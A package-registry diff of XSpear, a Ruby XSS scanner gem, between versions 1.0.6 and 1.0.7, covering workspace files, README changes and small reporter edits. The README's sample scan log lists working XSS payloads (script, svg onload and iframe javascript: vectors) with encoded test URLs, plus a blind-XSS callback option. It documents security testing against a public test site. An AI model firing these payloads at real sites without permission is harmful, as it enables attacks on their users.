XSpear 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.idea/workspace.xml +65 -42
- data/README.md +98 -67
- data/lib/XSpear/XSpearRepoter.rb +2 -2
- data/lib/XSpear/version.rb +1 -1
- data/lib/XSpear.rb +13 -13
- metadata +1 -1
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 0c0ac315484162b92f2f958d2ddc70736bec0f164349575529e763f154366c37
|
|
4
|
+
data.tar.gz: eab6a1c2350ea1bf4467fcd41cfd00a61c58d1693503e4437ae86418e348bda1
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: e4463bb21d6b1cf918c290d7a3540d93510f4f9cb68ebc6fad7319377d579228aa754b832e5d077f63e24b35d2ea73fa492a4a21351c0f26880b6c1f52065016
|
|
7
|
+
data.tar.gz: bf64aa0df617fdddfb8d07803a8dbba0bb2822579b56fbc93a0d17f73aced699ad2f46bfd01a51ae9e614d3287b016e2419eaba35384e17d76c038c3ea52d567
|
data/.idea/workspace.xml
CHANGED
|
@@ -3,7 +3,10 @@
|
|
|
3
3
|
<component name="ChangeListManager">
|
|
4
4
|
<list default="true" id="4ee2e581-45d7-4c90-b6a1-e92e4b5829dd" name="Default Changelist" comment="">
|
|
5
5
|
<change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
|
|
6
|
+
<change beforePath="$PROJECT_DIR$/README.md" beforeDir="false" afterPath="$PROJECT_DIR$/README.md" afterDir="false" />
|
|
6
7
|
<change beforePath="$PROJECT_DIR$/lib/XSpear.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear.rb" afterDir="false" />
|
|
8
|
+
<change beforePath="$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb" afterDir="false" />
|
|
9
|
+
<change beforePath="$PROJECT_DIR$/lib/XSpear/version.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear/version.rb" afterDir="false" />
|
|
7
10
|
</list>
|
|
8
11
|
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
|
|
9
12
|
<option name="SHOW_DIALOG" value="false" />
|
|
@@ -16,41 +19,37 @@
|
|
|
16
19
|
</component>
|
|
17
20
|
<component name="FileEditorManager">
|
|
18
21
|
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
|
|
19
|
-
<file pinned="false" current-in-tab="false">
|
|
20
|
-
<entry file="file://$PROJECT_DIR$/exe/XSpear">
|
|
21
|
-
<provider selected="true" editor-type-id="text-editor">
|
|
22
|
-
<state relative-caret-position="525">
|
|
23
|
-
<caret line="35" column="117" selection-start-line="35" selection-start-column="117" selection-end-line="35" selection-end-column="117" />
|
|
24
|
-
</state>
|
|
25
|
-
</provider>
|
|
26
|
-
</entry>
|
|
27
|
-
</file>
|
|
28
22
|
<file pinned="false" current-in-tab="false">
|
|
29
23
|
<entry file="file://$PROJECT_DIR$/README.md">
|
|
30
24
|
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
31
25
|
<state split_layout="SPLIT">
|
|
32
|
-
<first_editor relative-caret-position="
|
|
33
|
-
<caret line="
|
|
26
|
+
<first_editor relative-caret-position="2113">
|
|
27
|
+
<caret line="299" column="110" selection-start-line="299" selection-start-column="110" selection-end-line="299" selection-end-column="110" />
|
|
34
28
|
</first_editor>
|
|
35
29
|
<second_editor />
|
|
36
30
|
</state>
|
|
37
31
|
</provider>
|
|
38
32
|
</entry>
|
|
39
33
|
</file>
|
|
40
|
-
<file pinned="false" current-in-tab="
|
|
34
|
+
<file pinned="false" current-in-tab="false">
|
|
35
|
+
<entry file="file://$PROJECT_DIR$/spec/XSpear_spec.rb">
|
|
36
|
+
<provider selected="true" editor-type-id="text-editor" />
|
|
37
|
+
</entry>
|
|
38
|
+
</file>
|
|
39
|
+
<file pinned="false" current-in-tab="false">
|
|
41
40
|
<entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
|
|
42
41
|
<provider selected="true" editor-type-id="text-editor">
|
|
43
|
-
<state relative-caret-position="
|
|
44
|
-
<caret line="
|
|
42
|
+
<state relative-caret-position="426">
|
|
43
|
+
<caret line="181" column="31" lean-forward="true" selection-start-line="181" selection-start-column="31" selection-end-line="181" selection-end-column="31" />
|
|
45
44
|
</state>
|
|
46
45
|
</provider>
|
|
47
46
|
</entry>
|
|
48
47
|
</file>
|
|
49
|
-
<file pinned="false" current-in-tab="
|
|
48
|
+
<file pinned="false" current-in-tab="true">
|
|
50
49
|
<entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
|
|
51
50
|
<provider selected="true" editor-type-id="text-editor">
|
|
52
|
-
<state relative-caret-position="
|
|
53
|
-
<caret line="
|
|
51
|
+
<state relative-caret-position="253">
|
|
52
|
+
<caret line="41" column="29" selection-start-line="41" selection-start-column="29" selection-end-line="41" selection-end-column="29" />
|
|
54
53
|
</state>
|
|
55
54
|
</provider>
|
|
56
55
|
</entry>
|
|
@@ -113,10 +112,10 @@
|
|
|
113
112
|
<option value="$PROJECT_DIR$/XSpear.gemspec" />
|
|
114
113
|
<option value="$PROJECT_DIR$/lib/XSpear/banner.rb" />
|
|
115
114
|
<option value="$PROJECT_DIR$/exe/XSpear" />
|
|
116
|
-
<option value="$PROJECT_DIR$/lib/XSpear/version.rb" />
|
|
117
115
|
<option value="$PROJECT_DIR$/README.md" />
|
|
118
|
-
<option value="$PROJECT_DIR$/lib/XSpear/
|
|
116
|
+
<option value="$PROJECT_DIR$/lib/XSpear/version.rb" />
|
|
119
117
|
<option value="$PROJECT_DIR$/lib/XSpear.rb" />
|
|
118
|
+
<option value="$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb" />
|
|
120
119
|
</list>
|
|
121
120
|
</option>
|
|
122
121
|
</component>
|
|
@@ -231,7 +230,7 @@
|
|
|
231
230
|
<workItem from="1562942816004" duration="15337000" />
|
|
232
231
|
<workItem from="1563638656518" duration="4985000" />
|
|
233
232
|
<workItem from="1563809961097" duration="4237000" />
|
|
234
|
-
<workItem from="1563893538891" duration="
|
|
233
|
+
<workItem from="1563893538891" duration="3583000" />
|
|
235
234
|
</task>
|
|
236
235
|
<task id="LOCAL-00001" summary="init update">
|
|
237
236
|
<created>1562945899597</created>
|
|
@@ -478,17 +477,38 @@
|
|
|
478
477
|
<option name="project" value="LOCAL" />
|
|
479
478
|
<updated>1563895638242</updated>
|
|
480
479
|
</task>
|
|
481
|
-
<
|
|
480
|
+
<task id="LOCAL-00036" summary="(1.0.6)[fixed #5] Add blind-xss other pattern">
|
|
481
|
+
<created>1563895850670</created>
|
|
482
|
+
<option name="number" value="00036" />
|
|
483
|
+
<option name="presentableId" value="LOCAL-00036" />
|
|
484
|
+
<option name="project" value="LOCAL" />
|
|
485
|
+
<updated>1563895850670</updated>
|
|
486
|
+
</task>
|
|
487
|
+
<task id="LOCAL-00037" summary="(1.0.6) Releases 1.0.6 version">
|
|
488
|
+
<created>1563896026689</created>
|
|
489
|
+
<option name="number" value="00037" />
|
|
490
|
+
<option name="presentableId" value="LOCAL-00037" />
|
|
491
|
+
<option name="project" value="LOCAL" />
|
|
492
|
+
<updated>1563896026689</updated>
|
|
493
|
+
</task>
|
|
494
|
+
<task id="LOCAL-00038" summary="(1.0.6) Edit README.md">
|
|
495
|
+
<created>1563896886094</created>
|
|
496
|
+
<option name="number" value="00038" />
|
|
497
|
+
<option name="presentableId" value="LOCAL-00038" />
|
|
498
|
+
<option name="project" value="LOCAL" />
|
|
499
|
+
<updated>1563896886094</updated>
|
|
500
|
+
</task>
|
|
501
|
+
<option name="localTasksCounter" value="39" />
|
|
482
502
|
<servers />
|
|
483
503
|
</component>
|
|
484
504
|
<component name="TimeTrackingManager">
|
|
485
|
-
<option name="totallyTimeSpent" value="
|
|
505
|
+
<option name="totallyTimeSpent" value="28142000" />
|
|
486
506
|
</component>
|
|
487
507
|
<component name="ToolWindowManager">
|
|
488
508
|
<frame x="-1920" y="-620" width="1920" height="1057" extended-state="0" />
|
|
489
509
|
<editor active="true" />
|
|
490
510
|
<layout>
|
|
491
|
-
<window_info
|
|
511
|
+
<window_info content_ui="combo" id="Project" order="0" visible="true" weight="0.16400427" />
|
|
492
512
|
<window_info id="Structure" order="1" side_tool="true" weight="0.25" />
|
|
493
513
|
<window_info id="Favorites" order="2" side_tool="true" />
|
|
494
514
|
<window_info anchor="bottom" id="Message" order="0" />
|
|
@@ -501,7 +521,7 @@
|
|
|
501
521
|
<window_info anchor="bottom" id="Docker" order="7" show_stripe_button="false" />
|
|
502
522
|
<window_info anchor="bottom" id="Database Changes" order="8" />
|
|
503
523
|
<window_info anchor="bottom" id="Version Control" order="9" />
|
|
504
|
-
<window_info anchor="bottom" id="Terminal" order="10" visible="true" weight="0.29637307" />
|
|
524
|
+
<window_info active="true" anchor="bottom" id="Terminal" order="10" visible="true" weight="0.29637307" />
|
|
505
525
|
<window_info anchor="bottom" id="Event Log" order="11" side_tool="true" />
|
|
506
526
|
<window_info anchor="bottom" id="Messages" order="12" weight="0.32953367" />
|
|
507
527
|
<window_info anchor="right" id="Commander" internal_type="SLIDING" order="0" type="SLIDING" weight="0.4" />
|
|
@@ -514,9 +534,6 @@
|
|
|
514
534
|
<option name="version" value="1" />
|
|
515
535
|
</component>
|
|
516
536
|
<component name="VcsManagerConfiguration">
|
|
517
|
-
<MESSAGE value="init update" />
|
|
518
|
-
<MESSAGE value="build gem and edit dependency" />
|
|
519
|
-
<MESSAGE value="add gem & edit code" />
|
|
520
537
|
<MESSAGE value="edit gem dependency(runtime, developement)" />
|
|
521
538
|
<MESSAGE value="Add json report and new build binary, edit readme" />
|
|
522
539
|
<MESSAGE value="Add screenshot images" />
|
|
@@ -539,7 +556,10 @@
|
|
|
539
556
|
<MESSAGE value="(1.0.6)[fixed #8] Added response header analysis module" />
|
|
540
557
|
<MESSAGE value="(1.0.6)[fixed #9] Added method in report-cli" />
|
|
541
558
|
<MESSAGE value="(1.0.6) Edit report & scanning format" />
|
|
542
|
-
<
|
|
559
|
+
<MESSAGE value="(1.0.6)[fixed #5] Add blind-xss other pattern" />
|
|
560
|
+
<MESSAGE value="(1.0.6) Releases 1.0.6 version" />
|
|
561
|
+
<MESSAGE value="(1.0.6) Edit README.md" />
|
|
562
|
+
<option name="LAST_COMMIT_MESSAGE" value="(1.0.6) Edit README.md" />
|
|
543
563
|
</component>
|
|
544
564
|
<component name="editorHistoryManager">
|
|
545
565
|
<entry file="file://$USER_HOME$/.rvm/gems/ruby-2.4.6/gems/bundler-2.0.1/lib/bundler/rubygems_integration.rb">
|
|
@@ -576,13 +596,6 @@
|
|
|
576
596
|
</state>
|
|
577
597
|
</provider>
|
|
578
598
|
</entry>
|
|
579
|
-
<entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
|
|
580
|
-
<provider selected="true" editor-type-id="text-editor">
|
|
581
|
-
<state relative-caret-position="15">
|
|
582
|
-
<caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
|
|
583
|
-
</state>
|
|
584
|
-
</provider>
|
|
585
|
-
</entry>
|
|
586
599
|
<entry file="file://$PROJECT_DIR$/XSpear.gemspec">
|
|
587
600
|
<provider selected="true" editor-type-id="text-editor">
|
|
588
601
|
<state relative-caret-position="105">
|
|
@@ -596,27 +609,37 @@
|
|
|
596
609
|
<entry file="file:///usr/local/bin/rake">
|
|
597
610
|
<provider selected="true" editor-type-id="text-editor" />
|
|
598
611
|
</entry>
|
|
612
|
+
<entry file="file://$PROJECT_DIR$/spec/XSpear_spec.rb">
|
|
613
|
+
<provider selected="true" editor-type-id="text-editor" />
|
|
614
|
+
</entry>
|
|
599
615
|
<entry file="file://$PROJECT_DIR$/README.md">
|
|
600
616
|
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
601
617
|
<state split_layout="SPLIT">
|
|
602
|
-
<first_editor relative-caret-position="
|
|
603
|
-
<caret line="
|
|
618
|
+
<first_editor relative-caret-position="2113">
|
|
619
|
+
<caret line="299" column="110" selection-start-line="299" selection-start-column="110" selection-end-line="299" selection-end-column="110" />
|
|
604
620
|
</first_editor>
|
|
605
621
|
<second_editor />
|
|
606
622
|
</state>
|
|
607
623
|
</provider>
|
|
608
624
|
</entry>
|
|
609
|
-
<entry file="file://$PROJECT_DIR$/lib/XSpear/
|
|
625
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
|
|
610
626
|
<provider selected="true" editor-type-id="text-editor">
|
|
611
|
-
<state relative-caret-position="
|
|
612
|
-
<caret line="
|
|
627
|
+
<state relative-caret-position="15">
|
|
628
|
+
<caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
|
|
613
629
|
</state>
|
|
614
630
|
</provider>
|
|
615
631
|
</entry>
|
|
616
632
|
<entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
|
|
617
633
|
<provider selected="true" editor-type-id="text-editor">
|
|
618
|
-
<state relative-caret-position="
|
|
619
|
-
<caret line="
|
|
634
|
+
<state relative-caret-position="426">
|
|
635
|
+
<caret line="181" column="31" lean-forward="true" selection-start-line="181" selection-start-column="31" selection-end-line="181" selection-end-column="31" />
|
|
636
|
+
</state>
|
|
637
|
+
</provider>
|
|
638
|
+
</entry>
|
|
639
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
|
|
640
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
641
|
+
<state relative-caret-position="253">
|
|
642
|
+
<caret line="41" column="29" selection-start-line="41" selection-start-column="29" selection-end-line="41" selection-end-column="29" />
|
|
620
643
|
</state>
|
|
621
644
|
</provider>
|
|
622
645
|
</entry>
|
data/README.md
CHANGED
|
@@ -10,9 +10,12 @@ XSpear is XSS Scanner on ruby gems
|
|
|
10
10
|
+ Reflected Params
|
|
11
11
|
+ Filtered test `event handler` `HTML tag` `Special Char`
|
|
12
12
|
- Testing Blind XSS (with XSS Hunter , ezXSS, HBXSS, Etc all url base blind test...)
|
|
13
|
+
- Dynamic/Static Analysis
|
|
14
|
+
+ Find SQL Error pattern
|
|
15
|
+
+ Analysis Security headers(`CSP` `HSTS` `X-frame-options`, `XSS-protection` etc.. )
|
|
16
|
+
+ Analysis Other headers..(Server version, Content-Type, etc...)
|
|
13
17
|
- XSpear running on ruby code(with Gem library)
|
|
14
|
-
-
|
|
15
|
-
- Show table base report and testing raw query(url)
|
|
18
|
+
- Show `table base cli-report` and `filtered rule`, `testing raw query`(url)
|
|
16
19
|
- Testing at selected parameters
|
|
17
20
|
- Support output format `cli` `json`
|
|
18
21
|
+ cli: summary, filtered rule(params), Raw Query
|
|
@@ -99,80 +102,100 @@ $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"
|
|
|
99
102
|
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -v 3
|
|
100
103
|
```
|
|
101
104
|
|
|
105
|
+
**set thread**
|
|
106
|
+
```
|
|
107
|
+
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30
|
|
108
|
+
```
|
|
109
|
+
|
|
102
110
|
**testing at selected parameters**
|
|
103
111
|
```
|
|
104
112
|
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test
|
|
105
113
|
```
|
|
106
114
|
|
|
115
|
+
**testing blind xss**
|
|
116
|
+
```
|
|
117
|
+
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht"
|
|
118
|
+
```
|
|
119
|
+
|
|
107
120
|
etc...
|
|
108
121
|
|
|
109
122
|
### Sample log
|
|
110
123
|
**Scanning XSS**
|
|
111
124
|
```
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
<
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
125
|
+
xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z"
|
|
126
|
+
) (
|
|
127
|
+
( /( )\ )
|
|
128
|
+
)\())(()/( ( ) (
|
|
129
|
+
((_)\ /(_))` ) ))\ ( /( )(
|
|
130
|
+
__((_)(_)) /(/( /((_))(_))(()\
|
|
131
|
+
\ \/ // __|((_)_\ (_)) ((_)_ ((_)
|
|
132
|
+
> < \__ \| '_ \)/ -_)/ _` || '_|
|
|
133
|
+
/_/\_\|___/| .__/ \___|\__,_||_| />
|
|
134
|
+
|_| \ /<
|
|
135
|
+
{\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================-
|
|
136
|
+
/ \<
|
|
137
|
+
\> [ v1.0.6 ]
|
|
138
|
+
[*] creating a test query.
|
|
139
|
+
[*] test query generation is complete. [149 query]
|
|
140
|
+
[*] starting test and analysis. [10 threads]
|
|
141
|
+
[I] [00:37:34] reflected 'XsPeaR
|
|
142
|
+
[-] [00:37:34] 'cat' Not reflected |XsPeaR
|
|
143
|
+
[I] [00:37:34] [param: cat][Found SQL Error Pattern]
|
|
144
|
+
[-] [00:37:34] 'STATIC' not reflected
|
|
145
|
+
[I] [00:37:34] reflected "XsPeaR
|
|
146
|
+
[-] [00:37:34] 'cat' Not reflected ;XsPeaR
|
|
147
|
+
[I] [00:37:34] reflected `XsPeaR
|
|
148
|
+
...snip...
|
|
149
|
+
[H] [00:37:44] reflected "><iframe/src=JavaScriPt:alert(45)>[param: cat][reflected XSS Code]
|
|
150
|
+
[-] [00:37:44] 'cat' not reflected <img/src onerror=alert(45)>
|
|
151
|
+
[-] [00:37:44] 'cat' not reflected <svg/onload=alert(45)>
|
|
152
|
+
[-] [00:37:49] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
|
|
153
|
+
[-] [00:37:49] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
|
|
154
|
+
[-] [00:37:50] 'cat' not found alert/prompt/confirm event <xmp><p title="</xmp><svg/onload=alert(45)>">
|
|
155
|
+
[-] [00:37:51] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
|
|
156
|
+
[V] [00:37:51] found alert/prompt/confirm (45) in selenium!! <script>alert(45)</script>
|
|
157
|
+
=> [param: cat][triggered <script>alert(45)</script>]
|
|
158
|
+
[V] [00:37:51] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>
|
|
159
|
+
=> [param: cat][triggered <svg/onload=alert(45)>]
|
|
160
|
+
[*] finish scan. the report is being generated..
|
|
161
|
+
+----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+
|
|
162
|
+
| [ XSpear report ] |
|
|
163
|
+
| http://testphp.vulnweb.com/listproducts.php?cat=z |
|
|
164
|
+
| 2019-07-24 00:37:33 +0900 ~ 2019-07-24 00:37:51 +0900 Found 12 issues. |
|
|
165
|
+
+----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+
|
|
166
|
+
| NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD | DESCRIPTION |
|
|
167
|
+
+----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+
|
|
168
|
+
| 0 | INFO | DYNAMIC ANALYSIS | GET | cat | XsPeaR" | Found SQL Error Pattern |
|
|
169
|
+
| 1 | INFO | STATIC ANALYSIS | GET | - | original query | Found Server: nginx/1.4.1 |
|
|
170
|
+
| 2 | INFO | STATIC ANALYSIS | GET | - | original query | Not set HSTS |
|
|
171
|
+
| 3 | INFO | STATIC ANALYSIS | GET | - | original query | Content-Type: text/html |
|
|
172
|
+
| 4 | LOW | STATIC ANALYSIS | GET | - | original query | Not Set X-Frame-Options |
|
|
173
|
+
| 5 | MIDUM | STATIC ANALYSIS | GET | - | original query | Not Set CSP |
|
|
174
|
+
| 6 | INFO | REFLECTED | GET | cat | rEfe6 | reflected parameter |
|
|
175
|
+
| 7 | INFO | FILERD RULE | GET | cat | onhwul=64 | not filtered event handler on{any} pattern |
|
|
176
|
+
| 8 | HIGH | XSS | GET | cat | <script>alert(45)</script> | reflected XSS Code |
|
|
177
|
+
| 9 | HIGH | XSS | GET | cat | "><iframe/src=JavaScriPt:alert(45)> | reflected XSS Code |
|
|
178
|
+
| 10 | VULN | XSS | GET | cat | <script>alert(45)</script> | triggered <script>alert(45)</script> |
|
|
179
|
+
| 11 | VULN | XSS | GET | cat | '"><svg/onload=alert(45)> | triggered <svg/onload=alert(45)> |
|
|
180
|
+
+----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+
|
|
181
|
+
< Available Objects >
|
|
182
|
+
[cat] param
|
|
183
|
+
+ Available Special Char: ' \ ` ] . : ) } [ { $
|
|
184
|
+
+ Available Event Handler: "onActivate","onBeforeCopy","onAfterPrint","onAfterUpdate","onAbort","onBeforeActivate","onBeforeDeactivate","onBlur","onBeforeCut","onBounce","onBeforeUnload","onBeforeEditFocus","onBeforePaste","onBeforeUpdate","onBegin","onBeforePrint","onClick","onChange","onControlSelect","onDataSetChanged","onCopy","onDataSetComplete","onContextMenu","onDataAvailable","onCellChange","onCut","onDeactivate","onDblClick","onDragEnd","onDragOver","onDragDrop","onDrop","onDragStart","onDrag","onDragEnter","onDragLeave","onFilterChange","onFocusIn","onEnd","onHelp","onError","onErrorUpdate","onFocus","onFinish","onHashChange","onFocusOut","onLoad","onLoseCapture","onInput","onLayoutComplete","onKeyDown","onMessage","onKeyUp","onMediaError","onMediaComplete","onKeyPress","onMouseOver","onMove","onMouseEnter","onMouseWheel","onMouseLeave","onMoveEnd","onMouseDown","onMouseMove","onMouseUp","onMouseOut","onPropertyChange","onMoveStart","onPaste","onPopState","onOutOfSync","onProgress","onOnline","onReadyStateChange","onOffline","onPause","onResize","onReverse","onRepeat","onRedo","onResizeEnd","onRowExit","onReset","onRowsEnter","onResizeStart","onResume","onRowInserted","onScroll","onStorage","onSelectStart","onRowDelete","onSeek","onSelectionChange","onSelect","onStart","onStop","onUndo","onTrackChange","onURLFlip","onTimeError","onSyncRestored","onSubmit","onUnload"
|
|
185
|
+
+ Available HTML Tag: "svg","iframe","script","audio","video","meta","frame","img","embeded","frameset","object","style"
|
|
186
|
+
< Raw Query >
|
|
187
|
+
[0] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=zXsPeaR%22
|
|
188
|
+
[1] http://testphp.vulnweb.com/listproducts.php?cat=z?-
|
|
189
|
+
[2] http://testphp.vulnweb.com/listproducts.php?cat=z?-
|
|
190
|
+
[3] http://testphp.vulnweb.com/listproducts.php?cat=z?-
|
|
191
|
+
[4] http://testphp.vulnweb.com/listproducts.php?cat=z?-
|
|
192
|
+
[5] http://testphp.vulnweb.com/listproducts.php?cat=z?-
|
|
193
|
+
[6] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=zrEfe6
|
|
194
|
+
[7] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%5C%22%3E%3Cxspear+onhwul%3D64%3E
|
|
195
|
+
[8] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Cscript%3Ealert%2845%29%3C%2Fscript%3E
|
|
196
|
+
[9] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Ciframe%2Fsrc%3DJavaScriPt%3Aalert%2845%29%3E
|
|
197
|
+
[10] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Cscript%3Ealert%2845%29%3C%2Fscript%3E
|
|
198
|
+
[11] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%27%22%3E%3Csvg%2Fonload%3Dalert%2845%29%3E
|
|
176
199
|
```
|
|
177
200
|
|
|
178
201
|
**to JSON**
|
|
@@ -232,6 +255,14 @@ class ScanCallbackFunc()
|
|
|
232
255
|
end
|
|
233
256
|
```
|
|
234
257
|
|
|
258
|
+
Common Callback Class
|
|
259
|
+
- CallbackXSSSelenium
|
|
260
|
+
- CallbackErrorPatternMatch
|
|
261
|
+
- CallbackCheckHeaders
|
|
262
|
+
- CallbackStringMatch
|
|
263
|
+
- CallbackNotAdded
|
|
264
|
+
etc...
|
|
265
|
+
|
|
235
266
|
## Update
|
|
236
267
|
if nomal user
|
|
237
268
|
```
|
|
@@ -266,5 +297,5 @@ The gem is available as open source under the terms of the [MIT License](https:/
|
|
|
266
297
|
Everyone interacting in the XSpear project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/[USERNAME]/XSpear/blob/master/CODE_OF_CONDUCT.md).
|
|
267
298
|
|
|
268
299
|
## ScreenShot
|
|
269
|
-
<img src="https://user-images.githubusercontent.com/13212227/
|
|
300
|
+
<img src="https://user-images.githubusercontent.com/13212227/61726530-bf7aff80-adac-11e9-9ed8-ac8ecd358c0c.png" width=100%>
|
|
270
301
|
<img src="https://user-images.githubusercontent.com/13212227/61311071-8b459300-a830-11e9-8e60-c08e984fdacb.png" width=100%>
|
data/lib/XSpear/XSpearRepoter.rb
CHANGED
|
@@ -32,14 +32,14 @@ class XspearRepoter
|
|
|
32
32
|
end
|
|
33
33
|
|
|
34
34
|
def add_issue_first(type, issue, param, payload, pattern, description)
|
|
35
|
-
rtype = {"i"=>"INFO","v"=>"VULN","l"=>"LOW","m"=>"MIDUM","h"=>"HIGH"}
|
|
35
|
+
rtype = {"i"=>"INFO".blue,"v"=>"VULN".red,"l"=>"LOW".green,"m"=>"MIDUM".yellow,"h"=>"HIGH".red}
|
|
36
36
|
rissue = {"f"=>"FILERD RULE","r"=>"REFLECTED","x"=>"XSS","s"=>"STATIC ANALYSIS","d"=>"DYNAMIC ANALYSIS"}
|
|
37
37
|
@issue.insert(0,["-", rtype[type], rissue[issue], @method, param, pattern, description])
|
|
38
38
|
@query.push payload
|
|
39
39
|
end
|
|
40
40
|
|
|
41
41
|
def add_issue(type, issue, param, payload, pattern, description)
|
|
42
|
-
rtype = {"i"=>"INFO","v"=>"VULN","l"=>"LOW","m"=>"MIDUM","h"=>"HIGH"}
|
|
42
|
+
rtype = {"i"=>"INFO".blue,"v"=>"VULN".red,"l"=>"LOW".green,"m"=>"MIDUM".yellow,"h"=>"HIGH".red}
|
|
43
43
|
rissue = {"f"=>"FILERD RULE","r"=>"REFLECTED","x"=>"XSS","s"=>"STATIC ANALYSIS","d"=>"DYNAMIC ANALYSIS"}
|
|
44
44
|
@issue << [@issue.size, rtype[type], rissue[issue], @method, param, pattern, description]
|
|
45
45
|
@query.push payload
|
data/lib/XSpear/version.rb
CHANGED
data/lib/XSpear.rb
CHANGED
|
@@ -78,28 +78,28 @@ class XspearScan
|
|
|
78
78
|
def run
|
|
79
79
|
if !@response['Server'].nil?
|
|
80
80
|
# Server header
|
|
81
|
-
@report.add_issue("i","s","-","-","original query","Found Server: #{@response['Server']}")
|
|
81
|
+
@report.add_issue("i","s","-","-","<original query>","Found Server: #{@response['Server']}")
|
|
82
82
|
end
|
|
83
83
|
|
|
84
84
|
if @response['Strict-Transport-Security'].nil?
|
|
85
85
|
# HSTS
|
|
86
|
-
@report.add_issue("i","s","-","-","original query","Not set HSTS")
|
|
86
|
+
@report.add_issue("i","s","-","-","<original query>","Not set HSTS")
|
|
87
87
|
end
|
|
88
88
|
|
|
89
89
|
|
|
90
90
|
if !@response['Content-Type'].nil?
|
|
91
|
-
@report.add_issue("i","s","-","-","original query","Content-Type: #{@response['Content-Type']}")
|
|
91
|
+
@report.add_issue("i","s","-","-","<original query>","Content-Type: #{@response['Content-Type']}")
|
|
92
92
|
end
|
|
93
93
|
|
|
94
94
|
|
|
95
95
|
if !@response['X-XSS-Protection'].nil?
|
|
96
|
-
@report.add_issue("i","s","-","-","original query","Not set X-XSS-Protection")
|
|
96
|
+
@report.add_issue("i","s","-","-","<original query>","Not set X-XSS-Protection")
|
|
97
97
|
end
|
|
98
98
|
|
|
99
99
|
if !@response['X-Frame-Options'].nil?
|
|
100
|
-
@report.add_issue("i","s","-","-","original query","X-Frame-Options: #{@response['X-Frame-Options']}")
|
|
100
|
+
@report.add_issue("i","s","-","-","<original query>","X-Frame-Options: #{@response['X-Frame-Options']}")
|
|
101
101
|
else
|
|
102
|
-
@report.add_issue("l","s","-","-","original query","Not Set X-Frame-Options")
|
